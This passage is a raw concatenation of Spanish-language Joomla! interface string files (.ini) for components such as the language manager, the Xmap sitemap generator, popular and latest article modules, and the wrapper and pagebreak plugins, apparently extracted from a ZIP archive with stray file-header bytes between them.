            ¡Advertencia! Cuando use la funcionalidad multiidioma (por ejemplo, cuando el plugin 'Sistema - Filtrar idioma' está habilitado) el idioma predeterminado del sitio también debe tener publicado un idioma del contenido." COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR="Algunos de los contactos enlazados al usuario %s son incorrectos." COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR_TIP="¡Advertencia! Un usuario o autor debería tener solo un contacto el cual esté asignado al idioma 'Todos' o un contacto por cada idioma del contenido publicado" COM_LANGUAGES_MULTILANGSTATUS_CONTENT_LANGUAGE_PUBLISHED="Idiomas del contenido publicados" COM_LANGUAGES_MULTILANGSTATUS_ERROR_CONTENT_LANGUAGE="Hay una página de inicio asignada al idioma del contenido %s, pero en el sitio este idioma no está instalado o publicado." COM_LANGUAGES_MULTILANGSTATUS_HOMES_MISSING="Este sitio está configurado para operar con múltiples idiomas. No es posible encontrar una o más de una de las páginas de inicio predeterminadas para los idiomas del contenido y el plugin 'Filtrar idiomas' está habilitado, o, hay más de un módulo 'Selector del idioma' publicado" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED="Páginas de inicio predeterminadas que están publicadas" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_ALL="1 está asignado a 'Todos' los idiomas" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_INCLUDING_ALL="Páginas de inicio predeterminadas que están publicadas (incluyendo la que está asignada a 'Todos' los idiomas)" COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_PUBLISHED="Módulos 'Selector del idioma' que están publicados" COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_UNPUBLISHED="Este sitio está configurado para operar con múltiples idiomas y al menos un módulo 'Selector del idioma' está publicado y configurado en 'Todos'. Haga caso omiso de este mensaje si usted no está usando un módulo 'Selector del idioma' pero usa enlaces directos." COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER="Plugin 'Filtrar idiomas'" COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER_DISABLED="Este sitio está configurado para operar con múltiples idiomas. El plugin 'Filtrar idiomas' no está habilitado, mientras que el módulo 'Selector de idiomas', o, páginas de inicio predeterminadas para idiomas del contenido específicos están siendo publicadas." COM_LANGUAGES_MULTILANGSTATUS_NONE="Este sitio no está configurado para operar con múltiples idiomas." COM_LANGUAGES_MULTILANGSTATUS_SITE_LANG_PUBLISHED="Idiomas del sitio que están publicados" COM_LANGUAGES_MULTILANGSTATUS_USELESS_HOMES="Este sitio no está configurado para operar con múltiples idiomas.
            Nota: Al menos un hay un idioma del contenido asignado a la página principal. No causará problemas a los sitios de un solo idioma, pero es innecesario." COM_LANGUAGES_N_ITEMS_DELETED="%d idiomas han sido borrados correctamente" COM_LANGUAGES_N_ITEMS_DELETED_1="%d idioma ha sido borrado correctamente" COM_LANGUAGES_N_ITEMS_PUBLISHED="%d idiomas han sido publicados correctamente" COM_LANGUAGES_N_ITEMS_PUBLISHED_1="%d idioma ha sido publicado correctamente" COM_LANGUAGES_N_ITEMS_TRASHED="%d idiomas han sido movidos a la papelera correctamente" COM_LANGUAGES_N_ITEMS_TRASHED_1="%d idioma ha sido movido a la papelera correctamente" COM_LANGUAGES_N_ITEMS_UNPUBLISHED="%d idiomas han sido despublicados correctamente.
            ¡Advertencia! Cuando use la funcionalidad multiidioma (por ejemplo, cuando el plugin 'Sistema - Filtrar idioma' está habilitado) el idioma predeterminado del sitio también debe tener publicado un idioma del contenido." COM_LANGUAGES_N_ITEMS_UNPUBLISHED_1="%d idioma ha sido despublicado correctamente.
            ¡Advertencia! Cuando use la funcionalidad multiidioma (por ejemplo, cuando el plugin 'Sistema - Filtrar idioma' está habilitado) el idioma predeterminado del sitio también debe tener publicado un idioma del contenido." COM_LANGUAGES_NO_ITEM_SELECTED="No hay idiomas seleccionados" COM_LANGUAGES_SAVE_SUCCESS="Idioma del contenido guardado correctamente" COM_LANGUAGES_SEARCH_IN_TITLE="Buscar en el título" COM_LANGUAGES_SUBMENU_CONTENT="Contenido" COM_LANGUAGES_SUBMENU_INSTALLED_ADMINISTRATOR="Instalado - Administración" COM_LANGUAGES_SUBMENU_INSTALLED_SITE="Instalado - Sitio" COM_LANGUAGES_SUBMENU_OVERRIDES="Modificaciones" COM_LANGUAGES_VIEW_INSTALLED_TITLE="Gestor de idiomas: Idiomas instalados" COM_LANGUAGES_VIEW_LANGUAGE_EDIT_EDIT_TITLE="Gestor de idiomas: Editar idioma del contenido" COM_LANGUAGES_VIEW_LANGUAGE_EDIT_NEW_TITLE="Gestor de idiomas: Nuevo idioma del contenido" COM_LANGUAGES_VIEW_LANGUAGES_TITLE="Gestor de idiomas: Idiomas del contenido" COM_LANGUAGES_VIEW_OVERRIDE_CLIENT_SITE="Sitio" COM_LANGUAGES_VIEW_OVERRIDE_CLIENT_ADMINISTRATOR="Administración" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_TITLE="Gestor de idiomas: Editar modificación" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_NEW_OVERRIDE_LEGEND="Crear una nueva modificación" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_EDIT_OVERRIDE_LEGEND="Editar esta modificación" COM_LANGUAGES_VIEW_OVERRIDE_LANGUAGE="%1$s [%2$s]" COM_LANGUAGES_VIEW_OVERRIDE_MORE_RESULTS="Más resultados" COM_LANGUAGES_VIEW_OVERRIDE_NO_RESULTS="Sin textos que coincidan encontrados" COM_LANGUAGES_VIEW_OVERRIDE_REFRESHING="Por favor, espere mientras se actualiza la caché." COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR="Se ha producido un error mientras se llevaba a cabo una solicitud con Ajax" COM_LANGUAGES_VIEW_OVERRIDE_RESULTS_LEGEND="Buscar resultados" COM_LANGUAGES_VIEW_OVERRIDE_SAVE_SUCCESS="La modificación del texto del idioma se ha guardado correctamente." COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_BUTTON="Buscar" COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_LEGEND="Buscar el texto que desea cambiar" COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_TIP="Una cadena del idioma se compone de dos partes: una constante específica del idioma y su valor.
            Por ejemplo, en la cadena:
                 COM_CONTENT_READ_MORE="_QQ_"Leer más: "_QQ_"
            'COM_CONTENT_READ_MORE' es la constante y 'Leer más: ' es su valor.
            Para poder crear modificaciones del idioma que anulen al texto original ('overrides') debe usar las constantes específicas del idioma de cada valor que desee cambiar.
            No obstante, puede realizar búsquedas tanto por la constante como por el valor que desee cambiar con el campo de búsqueda que hay más abajo.
            Haciendo clic en el resultado que desee, la constante correcta se insertará automáticamente en el formulario." COM_LANGUAGES_VIEW_OVERRIDES_FILTER_SEARCH_DESC="Buscar constante o texto." COM_LANGUAGES_VIEW_OVERRIDES_KEY="Constante" COM_LANGUAGES_VIEW_OVERRIDES_LANGUAGES_BOX_ITEM="%1$s - %2$s" COM_LANGUAGES_VIEW_OVERRIDES_N_ITEMS_DELETED="%d modificaciones sobre el texto del idioma se han borrado correctamente" COM_LANGUAGES_VIEW_OVERRIDES_N_ITEMS_DELETED_1="%d modificación sobre el texto del idioma se ha borrado correctamente" COM_LANGUAGES_VIEW_OVERRIDES_NO_ITEM_SELECTED="No ha seleccionado ninguna modificación" COM_LANGUAGES_VIEW_OVERRIDES_TEXT="Texto" COM_LANGUAGES_VIEW_OVERRIDES_TITLE="Gestor de idiomas: Modificaciones sobre el texto del idioma" COM_LANGUAGES_XML_DESCRIPTION="Componente para gestionar idiomas" JLIB_RULES_SETTING_NOTES="1. Si cambia la configuración, las modificaciones se aplicarán sobre este componente. Note que:
            Heredado quiere decir que, para determinar el estado del permiso, se tendrá en cuenta lo que haya asignado desde la configuración global y desde los grupos de nivel superior.
            Denegado quiere decir que da igual como esté configurado el estado de los permisos sobre esa acción desde la configuración global, o desde los grupos de nivel superior a los que pertenezca el grupo que desee configurar; es decir, al grupo al que le cambie el estado del permiso a 'Denegado' desde este apartado, no podrá realizar esa acción sobre este componente (incluyendo a todos sus subgrupos, si tuviera).
            Permitido quiere decir que el grupo al que le cambie el estado de la acción a 'Permitido' desde aquí, podrá realizar esa acción sobre este componente (pero si esta configuración entra en conflicto con lo asignado desde la configuración global, o con lo asignado en los grupos de nivel superior a los que pertenezca el grupo que desee reconfigurar, la configuración que aplique desde aquí no tendrá efecto, y el conflicto será indicado con un No permitido (bloqueado) debajo del estado de configuración calculada).
            2. Si realiza algún cambio en la configuración, haga clic en Guardar para que se pueda recalcular la nueva configuración." PK@y>\D7hMM!language/es-ES/es-ES.com_xmap.ininuW+A; $Id$ ; Xmap component ; Guillermo Vargas (guille@vargas.co.cr) ; Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved. ; GNU General Public License version 2 or later; see LICENSE.txt ; ; Component Instalation strings XMAP_INSTALLING_XMAP="Installing Xmap component - The site map generator for Joomla!" XMAP_UPGRADING_XMAP="Upgrading Xmap component - The site map generator for Joomla!" XMAP_UNISTALLING_XMAP_EXTENSIONS="Unistalling Xmap's extensions" XMAP_INSTALLED_EXTENSION_X="Installing %s extension" XMAP_NOT_INSTALLED_EXTENSION_X="It was not possible to install the extension for %s" XMAP_HEADING_XML_STATS="Estadísiticas Mapa XML" XMAP_HEADING_HTML_STATS="Estadísticas Mapa HTML" XMAP_HEADING_NUM_LINKS="Num. Enlaces" XMAP_HEADING_NUM_HITS="Visitas" XMAP_HEADING_LAST_VISIT="Ult. Visita" XMAP_HEADING_SITEMAP="Mapa de Sitio" XMAP_HEADING_DEFAULT="Predeterminado" XMAP_HEADING_ID="ID" XMAP_HEADING_PUBLISHED="Publicado" XMAP_HEADING_ACCESS="Acceso" XMAP_SUBMENU_SITEMAPS="Mapas de sitio" XMAP_SUBMENU_EXTENSIONS="Extensiones" XMAP_SUBMENU_SETTINGS="Configuración" XMAP_TOOLBAR_SET_DEFAULT="Predeterminar" XMAP_SITEMAPS_TITLE="Gestión de Mapas de sitio" DATE_MINUTES_AGO="Hace %d minutos" DATE_HOURS_MINUTES_AGO="Hace %d horas y %d minutos" DATE_DAYS_HOURS_AGO="Hace %d dias y %d horas" DATE_NEVER="Nunca" XMAP_INTROTEXT_LABEL="Texto Introductorio" XMAP_INTROTEXT_DESC="Digite el texto que se mostrará en la parte superior del site map" XMAP_PRIORITY="Prioridad" XMAP_CHANGE_FREQUENCY="Fecuencia de cambios" XMAP_PAGE_ADD_SITEMAP="Nuevo mapa de sitio" XMAP_PAGE_EDIT_SITEMAP="Editar mapa de sitio" XMAP_SITEMAP_DETAILS_FIELDSET="Detalles del Mapa de sitio" XMAP_XML_LINK="XML Sitemap" XMAP_XML_LINK_TOOLTIP="Ir a la versión XML del mapa de sitio, utilice este URL para agregar su mapa de sitio en Google u otros motores de búsqueda." XMAP_NEWS_LINK="News Sitemap" XMAP_NEWS_LINK_TOOLTIP="Ir a la versión “News” del mapa de sitio, utilice este URL para enviar sus últimas noticias a Google News" XMAP_IMAGES_LINK="Images Sitemap" XMAP_IMAGES_LINK_TOOLTIP="Ir a la versión “Images” del mapa del sitio, utilice este URL para agregar su mapa de sitio en Google u otros motores de búsqueda." XMAP_MESSAGE_EXTENSIONS_DISABLED="Xmap ha detectado que las siguientes extensiones podrían ayudarle a agregar mas contenido en su mapa de sitio pero están deshabilitadas. Es necesario que las habilite manualmente visitando el administrador de extensiones: %s" COM_XMAP_SITEMAPS_N_ITEMS_UNPUBLISHED="%d mapas de sitio se han despublicado correctamente" COM_XMAP_SITEMAPS_N_ITEMS_UNPUBLISHED_1="%d mapa de sitio se ha despublicado correctamente" COM_XMAP_SITEMAPS_N_ITEMS_PUBLISHED="%d mapas de sitio se han publicado correctamente" COM_XMAP_SITEMAPS_N_ITEMS_PUBLISHED_1="%d mapa de sitio se ha publicado correctamente" COM_XMAP_SITEMAPS_N_ITEMS_TRASHED="%d mapas de sitio enviados a la papelera correctamente" COM_XMAP_SITEMAPS_N_ITEMS_TRASHED_1="%d mapa de sitio enviado a la papelera correctamente" COM_XMAP_SITEMAPS_N_ITEMS_DELETED="%d mapas de sitio eliminados correctamente" COM_XMAP_SITEMAPS_N_ITEMS_DELETED_1="%d mapa de sitio eliminado correctamente" XMAP_FIELDSET_MENUS="Menus" XMAP_FIELDSET_OPTIONS="Opciones" XMAP_FIELDSET_METADATA="Metadata" XMAP_ATTRIBS_SHOW_INTRO_LABEL="Texto Introductorio" XMAP_ATTRIBS_SHOW_INTRO_DESC="Debemos mostrar el texto introductorio en el mapa del sitio?" XMAP_ATTRIBS_SHOW_MENU_TITLE_LABEL="Título del Menú" XMAP_ATTRIBS_SHOW_MENU_TITLE_DESC="Debemos mostrar el título del menú en el mapa del sitio?" XMAP_ATTRIBS_CLASSNAME_LABEL="Clase CSS" XMAP_ATTRIBS_CLASSNAME_DESC="La clase CSS para utilizar en este mapa de sitio." XMAP_ATTRIBS_COLUMNS_LABEL="# Columnas" XMAP_ATTRIBS_COLUMNS_DESC="Indique el número de columnas en que se debe desplegar el mapa de sitio HTML. (Esta propiedad solo tiene validez si el mapa del sitio tiene mas de un menú)" XMAP_ATTRIBS_EXTERNAL_LINKS_IMAGE_LABEL="Imagen para enlaces externos" XMAP_ATTRIBS_EXTERNAL_LINKS_IMAGE_DESC="Seleccione una imágen para diferenciar los enlaces externos de los internos." XMAP_ATTRIBS_COMPRESS_XML_LABEL="Comprimir XML" XMAP_ATTRIBS_COMPRESS_XML_DESC="Debemos comprimir el mapa de sitio en formato XML?" XMAP_ATTRIBS_BEAUTIFY_XML_LABEL="Embellecer XML" XMAP_ATTRIBS_BEAUTIFY_XML_DESC="Seleccione 'Si' para darle estilo al mapa de sitio en formato XML. Esto aplica para humanos solamente y no afecta en ningún sentido el comportamiento de los buscadores o robots. Si su mapa de sitio se muestra como una página en blanco o su navegador despliega errores entonces intente deshabilitando esta opción." XMAP_ATTRIBS_NEWS_PUBLICATION_NAME_LABEL="Publication Name" XMAP_ATTRIBS_NEWS_PUBLICATION_NAME_DESC="Este es el nombre de la publicación. Debe coincidir exactamente con el nombre que aparezca en los artículos de su sitio incluidos en news.google.com/news?ned=es, omitiendo cualquier paréntesis posterior. Por ejemplo, si el nombre aparece en Google Noticias como “El Mundo (suscripción)”, debe utilizar el nombre “El Mundo”" XMAP_ATTRIBS_NEWS_POSTS_KEYWORDS_LABEL="Posts keywords" XMAP_ATTRIBS_NEWS_POSTS_KEYWORDS_DESC="Comma separated list of keywords to describe your posts. Default to the post's category title." ; Extension edit page XMAP_PAGE_EDIT_EXTENSION="Editar Extensión" XMAP_N_EXTENSIONS_UNPUBLISHED="%s extensiones despublicadas" XMAP_N_EXTENSIONS_PUBLISHED="%s extensiones publicadas" XMAP_EXTENSION_DETAILS="Detalles" XMAP_EXTENSION_AUTHOR="Autor" XMAP_EXTENSION_AUTHOR_EMAIL="Email del Autor" XMAP_EXTENSION_AUTHOR_WEBSITE="Sitio WEB del Autor" XMAP_EXTENSION_DESCRIPTION="Descripción" XMAP_DESC_EXTENSIONS="Lista de extensiones para Xmap instaladas" XMAP_HEADING_AUTHOR="Autor" XMAP_HEADING_DATE="Fecha" XMAP_HEADING_FOLDER="Carpeta" XMAP_HEADING_NUM="Núm." XMAP_HEADING_PLUGIN="Extensión" XMAP_HEADING_VERSION="Versión" XMAP_INSTALL="Instalar" XMAP_INSTALL_DIRECTORY="Carpeta de instalación" XMAP_INSTALL_FROM_DIRECTORY="Instalar desde carpeta" XMAP_INSTALL_FROM_URL="Instalar desde URL" XMAP_INSTALL_NEW_EXTENSION="Instalar una nueva extensión" XMAP_INSTALL_URL="URL de instalación" XMAP_PACKAGE_FILE="Archivo de instalación" XMAP_PLEASE_ENTER_A_URL="Por favor ingrese una URL" XMAP_PLEASE_SELECT_A_DIRECTORY="Por favor indique una carpeta" XMAP_PLEASE_SELECT_A_FILE_TO_UPLOAD="Por favor indique un archivo para instalar" XMAP_UPLOAD_FILE="Subir archivo" XMAP_UPLOAD_PACKAGE_FILE="Subir archivo de instalación" XMAP_EXTENSION_MANAGER_TITLE="Administrador de Extensiones" XMAP_EXTENSIONS_TITLE="Extensiones" ; Generic Extension settings strings XMAP_BASIC_FIELDSET_LABEL="Opciones Básicas" XMAP_XML_FIELDSET_LABEL="Opciones para el Mapa de Sitio XML " XMAP_OPTION_USE_PARENT_MENU="Usar opciones del menú" XMAP_OPTION_NEVER="Nunca" XMAP_OPTION_ALWAYS="Siempre" XMAP_OPTION_XML_ONLY="Solo en el Mapa de Sitio XML" XMAP_OPTION_HTML_ONLY="Solo en el Mapa de Sitio HTML" XMAP_OPTION_WEEKLY="Semanalmente" XMAP_OPTION_DAILY="Diariamente" XMAP_OPTION_MONTHLY="Mensualmente" XMAP_OPTION_YEARLY="Anualmente" XMAP_OPTION_HOURLY="Cada hora" PK@y>\'P0A $language/es-ES/es-ES.mod_popular.ininuW+A; $Id: es-ES.mod_popular.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_POPULAR="Los más populares" MOD_POPULAR_CREATED="Creado" MOD_POPULAR_FIELD_AUTHORS_DESC="Un filtro para los autores" MOD_POPULAR_FIELD_AUTHORS_LABEL="Autores" MOD_POPULAR_FIELD_CATEGORY_DESC="Seleccione artículos de una o varias categorías específicas." MOD_POPULAR_FIELD_COUNT_DESC="La cantidad de elementos a mostrar (Predeterminadamente son 5)" MOD_POPULAR_FIELD_COUNT_LABEL="Cantidad" MOD_POPULAR_FIELD_VALUE_ADDED_OR_MODIFIED_BY_ME="Añadido o modificado por mí" MOD_POPULAR_FIELD_VALUE_ANYONE="Cualquiera" MOD_POPULAR_FIELD_VALUE_NOT_ADDED_OR_MODIFIED_BY_ME="No añadido o modificado por mí" MOD_POPULAR_ITEMS="Elementos populares" MOD_POPULAR_NO_MATCHING_RESULTS="Sin resultados que coincidan" MOD_POPULAR_TITLE="Artículos populares" MOD_POPULAR_TITLE_1="El artículo más popular" MOD_POPULAR_TITLE_MORE="Los %1$s artículos más populares" MOD_POPULAR_TITLE_BY_ME="Los artículos más populares propios" MOD_POPULAR_TITLE_BY_ME_1="El artículo más popular propio" MOD_POPULAR_TITLE_BY_ME_MORE="Top %1$s artículos populares propios" MOD_POPULAR_TITLE_NOT_ME="Los artículos más populares no propios" MOD_POPULAR_TITLE_NOT_ME_1="El artículo más popular no propio" MOD_POPULAR_TITLE_NOT_ME_MORE="Los %1$s artículos más populares no propios" MOD_POPULAR_TITLE_CATEGORY="Los artículos más populares (Categoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_1="El artículo más popular (Categoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_MORE="Los %1$s artículos más populares (Categoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_BY_ME="Los artículos más populares propios (Categoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_BY_ME_1="El artículo más popular propio (Categoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_BY_ME_MORE="Los %1$s artículos más populares propios (Categoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME="Los artículos más populares no propios (Categoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME_1="El artículo más popular no propio (Categoría %2$s)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME_MORE="Los %1$s artículos más populares no propios (Categoría %2$s)" MOD_POPULAR_UNEXISTING="Inexistente" MOD_POPULAR_XML_DESCRIPTION="Este módulo muestra una lista de los artículos actuales y más populares que están publicados. Algunos de los que se muestren puede que ya hayan expirado, pero seguir siendo de los más populares." PK@y>\2language/es-ES/es-ES.plg_content_pagebreak.sys.ininuW+A; $Id: es-ES.plg_content_pagebreak.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTENT_PAGEBREAK="Contenido - Salto de página" PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION="Permite la la creación de una tabla de contenido a un artículo con paginación. Esto se realiza automáticamente cuando se usa el botón de salto de página dentro de un artículo. El salto de página se mostrará en la ventana de texto como una simple línea horizontal.

            el texto que se muestre dependerá de las opciones seleccionadas y se puede elegir entre título, texto alternativo (si se proporciona) o número de página.

            El HTML de uso es: <hr class="_QQ_"system-pagebreak"_QQ_" />
            <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"El título de la página"_QQ_" /> o
            <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"La primera página"_QQ_" /> o
            <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"El título de la página"_QQ_" alt="_QQ_"La primera página"_QQ_" /> o
            <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"La primera página"_QQ_" title="_QQ_"El título de la página"_QQ_" />" PK@y>\{a##$language/es-ES/es-ES.com_wrapper.ininuW+A; $Id: es-ES.com_wrapper.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_WRAPPER="URL embebida" COM_WRAPPER_FIELD_ADD_DESC="Si no se detecta que haya introducido ya en la URL facilitada un 'http://' o 'https://', predeterminadamente, se agregará automáticamente un 'http://'. Esto permite deshabilitar que se añada." COM_WRAPPER_FIELD_ADD_LABEL="Protocolo automático" COM_WRAPPER_FIELD_FRAME_DESC="Mostrar el borde que envuelve al marco ('iframe')" COM_WRAPPER_FIELD_FRAME_LABEL="Mostrar el borde del marco" COM_WRAPPER_FIELD_HEIGHT_DESC="Altura del marco de la ventana en píxeles" COM_WRAPPER_FIELD_HEIGHT_LABEL="Altura" COM_WRAPPER_FIELD_HEIGHTAUTO_DESC="Si la altura está configurada en 'Automático', la altura se asignará automáticamente con la de la página externa. Solo funcionará en páginas de su propio dominio. Si ve que aparece un error de JavaScript, asegúrese de deshabilitar este parámetro. Esto romperá la compatibilidad XHTML de la página." COM_WRAPPER_FIELD_HEIGHTAUTO_LABEL="Altura automática" COM_WRAPPER_FIELD_LABEL_SCROLLBARSPARAMS="Parámetros de las barras deslizantes" COM_WRAPPER_FIELD_SCROLLBARS_DESC="Mostrar u ocultar las barras deslizantes horizontales y verticales. Si selecciona 'Automático', asegúrese de que el parámetro de 'Avance automático', está configurado." COM_WRAPPER_FIELD_SCROLLBARS_LABEL="Barras deslizantes" COM_WRAPPER_FIELD_URL_DESC="URL al sitio o archivo que desea mostrar dentro de la ventana." COM_WRAPPER_FIELD_URL_LABEL="URL" COM_WRAPPER_FIELD_VALUE_AUTO="Automático" COM_WRAPPER_FIELD_WIDTH_DESC="Ancho de la ventana. Puede introducir un ancho en píxeles o porcentual (indicado con un '%')." COM_WRAPPER_XML_DESCRIPTION="Se muestra un marco de ventana que permite embeber dentro de Joomla! a una página interna o externa." PK@y>\sJ40language/es-ES/es-ES.plg_editors_tinymce.sys.ininuW+A; $Id: es-ES.plg_editors_tinymce.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_EDITORS_TINYMCE="Editor - TinyMCE" PLG_TINY_XML_DESCRIPTION="El TinyMCE es un editor WYSIWYG controlado con JavaScript, sobre una plataforma independiente basada en web." PK@y>\_y&language/es-ES/es-ES.com_cache.sys.ininuW+A; $Id: es-ES.com_cache.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_CACHE="Gestor de la caché" COM_CACHE_XML_DESCRIPTION="Componente para gestionar la caché" PK@y>\Խv &language/es-ES/es-ES.mod_title.sys.ininuW+A; $Id: es-ES.mod_title.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_TITLE="Título" MOD_TITLE_XML_DESCRIPTION="Este módulo muestra el título del componente en la barra de herramientas" MOD_TITLE_LAYOUT_DEFAULT="Predeterminado" PK@y>\|**language/es-ES/es-ES.com_languages.sys.ininuW+A; $Id: es-ES.com_languages.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_LANGUAGES="Gestor de idiomas" COM_LANGUAGES_XML_DESCRIPTION="Componente para gestionar idiomas" PK@y>\'<#language/es-ES/es-ES.mod_latest.ininuW+A; $Id: es-ES.mod_latest.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_LATEST="Últimas noticias" MOD_LATEST_CREATED="Creado" MOD_LATEST_CREATED_BY="Creado por" MOD_LATEST_FIELD_AUTHORS_DESC="Un filtro para los autores" MOD_LATEST_FIELD_AUTHORS_LABEL="Autores" MOD_LATEST_FIELD_CATEGORY_DESC="Seleccione los artículos desde una o varias categorías." MOD_LATEST_FIELD_COUNT_DESC="La cantidad de elementos a mostrar (Predeterminadamente son 5)" MOD_LATEST_FIELD_COUNT_LABEL="Cantidad" MOD_LATEST_FIELD_ORDERING_DESC="Opciones de ordenación" MOD_LATEST_FIELD_ORDERING_LABEL="Orden" MOD_LATEST_FIELD_VALUE_AUTHORS_ANYONE="Cualquiera" MOD_LATEST_FIELD_VALUE_AUTHORS_BY_ME="Añadido o modificado por mí" MOD_LATEST_FIELD_VALUE_AUTHORS_NOT_BY_ME="No añadido o modificado por mí" MOD_LATEST_FIELD_VALUE_ORDERING_ADDED="Los añadidos recientemente primero" MOD_LATEST_FIELD_VALUE_ORDERING_MODIFIED="Los modificados recientemente primero" MOD_LATEST_LATEST_ITEMS="Últimos elementos" MOD_LATEST_NO_MATCHING_RESULTS="Sin resultados que coincidan" MOD_LATEST_TITLE="Artículos creados recientemente" MOD_LATEST_TITLE_CREATED="Los últimos artículos añadidos" MOD_LATEST_TITLE_CREATED_1="El último artículo añadido" MOD_LATEST_TITLE_CREATED_MORE="Los %1$s últimos artículos añadidos" MOD_LATEST_TITLE_CREATED_NOT_ME="Los últimos artículos no añadidos por mí" MOD_LATEST_TITLE_CREATED_NOT_ME_1="El último artículo no añadido por mí" MOD_LATEST_TITLE_CREATED_NOT_ME_MORE="Los %1$s últimos artículos no añadidos por mí" MOD_LATEST_TITLE_CREATED_BY_ME="Los últimos artículos añadidos por mí" MOD_LATEST_TITLE_CREATED_BY_ME_1="El último artículo añadido por mí" MOD_LATEST_TITLE_CREATED_BY_ME_MORE="Los %1$s últimos artículos añadidos por mí" MOD_LATEST_TITLE_CREATED_CATEGORY="Los últimos artículos añadidos (Categoría %2$s)" MOD_LATEST_TITLE_CREATED_CATEGORY_1="El último artículo añadido (Categoría %2$s)" MOD_LATEST_TITLE_CREATED_CATEGORY_MORE="Los %1$s últimos artículos añadidos (Categoría %2$s)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME="Los últimos artículos añadidos por mí (Categoría %2$s)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME_1="El último artículo añadido por mí (Categoría %2$s)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME_MORE="Los %1$s últimos artículos añadidos por mí (Categoría %2$s)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME="Los últimos artículos no añadidos por mí (Categoría %2$s)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME_1="El último artículo no añadido por mí (Categoría %2$)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME_MORE="Los %1$s últimos artículos no añadidos por mí (Categoría %2$)" MOD_LATEST_TITLE_MODIFIED="Los últimos artículos modificados" MOD_LATEST_TITLE_MODIFIED_1="El último artículo modificado" MOD_LATEST_TITLE_MODIFIED_MORE="Los %1$s últimos artículos modificados" MOD_LATEST_TITLE_MODIFIED_BY_ME="Los últimos artículos modificados por mí" MOD_LATEST_TITLE_MODIFIED_BY_ME_1="El último artículo modificado por mí" MOD_LATEST_TITLE_MODIFIED_BY_ME_MORE="Los %1$s últimos artículos modificados por mí" MOD_LATEST_TITLE_MODIFIED_NOT_ME="Los últimos artículos no modificados por mí" MOD_LATEST_TITLE_MODIFIED_NOT_ME_1="El último artículo no modificado por mí" MOD_LATEST_TITLE_MODIFIED_NOT_ME_MORE="Los %1$s últimos artículos no modificados por mí" MOD_LATEST_TITLE_MODIFIED_CATEGORY="Los últimos artículos modificados (Categoría 